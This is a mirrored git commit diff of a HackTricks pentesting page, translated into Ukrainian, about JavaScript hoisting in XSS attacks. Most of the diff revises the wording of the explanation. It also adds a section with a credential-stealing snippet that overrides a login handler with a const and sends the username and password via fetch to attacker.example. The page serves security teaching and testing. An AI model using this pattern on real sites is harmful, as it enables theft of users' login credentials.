mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',
This commit is contained in:
		
							parent
							
								
									1fb51f50fb
								
							
						
					
					
						commit
						76295ca4e3
					
				
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							@ -2,31 +2,31 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
## Основна інформація
 | 
			
		||||
 | 
			
		||||
У мові JavaScript описується механізм, відомий як **Hoisting**, де оголошення змінних, функцій, класів або імпортів концептуально піднімаються на верхню частину їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить через скрипт у кілька проходів.
 | 
			
		||||
У мові JavaScript існує механізм, відомий як **Hoisting**, при якому оголошення змінних, функцій, класів або імпортів концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить по скрипту в кілька проходів.
 | 
			
		||||
 | 
			
		||||
Під час першого проходу движок аналізує код, щоб перевірити наявність синтаксичних помилок, і перетворює його в абстрактне синтаксичне дерево. Ця фаза включає підйом, процес, в якому певні оголошення переміщуються на верхню частину контексту виконання. Якщо фаза аналізу успішна, що вказує на відсутність синтаксичних помилок, виконання скрипту продовжується.
 | 
			
		||||
Під час першого проходу движок парсить код для перевірки синтаксичних помилок і перетворює його у абстрактне синтаксичне дерево. Ця фаза включає hoisting, процес, у якому певні оголошення переміщуються на початок контексту виконання. Якщо фаза парсингу пройшла успішно, тобто синтаксичних помилок не виявлено, виконання скрипта продовжується.
 | 
			
		||||
 | 
			
		||||
Важливо зрозуміти, що:
 | 
			
		||||
Важливо розуміти, що:
 | 
			
		||||
 | 
			
		||||
1. Скрипт повинен бути вільним від синтаксичних помилок для виконання. Правила синтаксису повинні суворо дотримуватись.
 | 
			
		||||
2. Розміщення коду в скрипті впливає на виконання через підйом, хоча виконуваний код може відрізнятися від його текстового представлення.
 | 
			
		||||
1. Скрипт має бути вільним від синтаксичних помилок, щоб відбулося його виконання. Правила синтаксису потрібно суворо дотримуватися.
 | 
			
		||||
2. Розташування коду в скрипті впливає на виконання через hoisting, хоча виконуваний код може відрізнятися від його текстового представлення.
 | 
			
		||||
 | 
			
		||||
#### Types of Hoisting
 | 
			
		||||
#### Типи Hoisting
 | 
			
		||||
 | 
			
		||||
Відповідно до інформації з MDN, існує чотири різні типи підйому в JavaScript:
 | 
			
		||||
Згідно з інформацією з MDN, у JavaScript існує чотири різні типи hoisting:
 | 
			
		||||
 | 
			
		||||
1. **Value Hoisting**: Дозволяє використовувати значення змінної в її області видимості до рядка оголошення.
 | 
			
		||||
2. **Declaration Hoisting**: Дозволяє посилатися на змінну в її області видимості до оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
 | 
			
		||||
3. Цей тип змінює поведінку в межах своєї області видимості через оголошення змінної до її фактичного рядка оголошення.
 | 
			
		||||
1. **Value Hoisting**: Дозволяє використовувати значення змінної в межах її області видимості до рядка її оголошення.
 | 
			
		||||
2. **Declaration Hoisting**: Дозволяє звертатися до змінної в межах її області видимості до її оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`.
 | 
			
		||||
3. Цей тип змінює поведінку в межах області видимості через те, що оголошення змінної опиняється перед її фактичною рядком оголошення.
 | 
			
		||||
4. Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить.
 | 
			
		||||
 | 
			
		||||
Докладно, оголошення функцій демонструють поведінку підйому типу 1. Ключове слово `var` демонструє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, оператори `import` є унікальними тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
 | 
			
		||||
Детальніше: оголошення функцій демонструють поведінку hoisting типу 1. Ключове слово `var` проявляє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
 | 
			
		||||
 | 
			
		||||
## Scenarios
 | 
			
		||||
## Сценарії
 | 
			
		||||
 | 
			
		||||
Отже, якщо у вас є сценарії, де ви можете **Inject JS code after an undeclared object** використовується, ви могли б **fix the syntax** оголосивши його (щоб ваш код виконувався замість того, щоб викликати помилку):
 | 
			
		||||
Отже, якщо у вас є сценарії, де ви можете **впровадити JS-код після використання неоголошеного об'єкта**, ви можете **виправити синтаксис**, оголосивши його (щоб ваш код виконався замість того, щоб спричинити помилку):
 | 
			
		||||
```javascript
 | 
			
		||||
// The function vulnerableFunction is not defined
 | 
			
		||||
vulnerableFunction('test', '<INJECTION>');
 | 
			
		||||
@ -127,11 +127,31 @@ alert(1) -
 | 
			
		||||
},
 | 
			
		||||
})
 | 
			
		||||
}
 | 
			
		||||
trigger()
 | 
			
		||||
```
 | 
			
		||||
### Запобігайте пізнішим оголошенням, заблокувавши ім'я за допомогою const
 | 
			
		||||
 | 
			
		||||
Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим же іменем (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції перевизначити цей ідентифікатор. Цим можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці:
 | 
			
		||||
```javascript
 | 
			
		||||
// Malicious code runs first (e.g., earlier inline <script>)
 | 
			
		||||
const DoLogin = () => {
 | 
			
		||||
const pwd  = Trim(FormInput.InputPassword.value)
 | 
			
		||||
const user = Trim(FormInput.InputUtente.value)
 | 
			
		||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
// Later, the legitimate page tries to declare:
 | 
			
		||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
 | 
			
		||||
```
 | 
			
		||||
Примітки
 | 
			
		||||
- Це покладається на порядок виконання та глобальну (верхнього рівня) область видимості.
 | 
			
		||||
- Якщо ваш payload виконується всередині `eval()`, пам'ятайте, що `const/let` всередині `eval` мають блочну область видимості і не створюватимуть глобальних зв'язків. Впровадьте новий елемент `<script>` з кодом, щоб встановити справжній глобальний `const`.
 | 
			
		||||
 | 
			
		||||
## Посилання
 | 
			
		||||
 | 
			
		||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 | 
			
		||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 | 
			
		||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
 | 
			
		||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user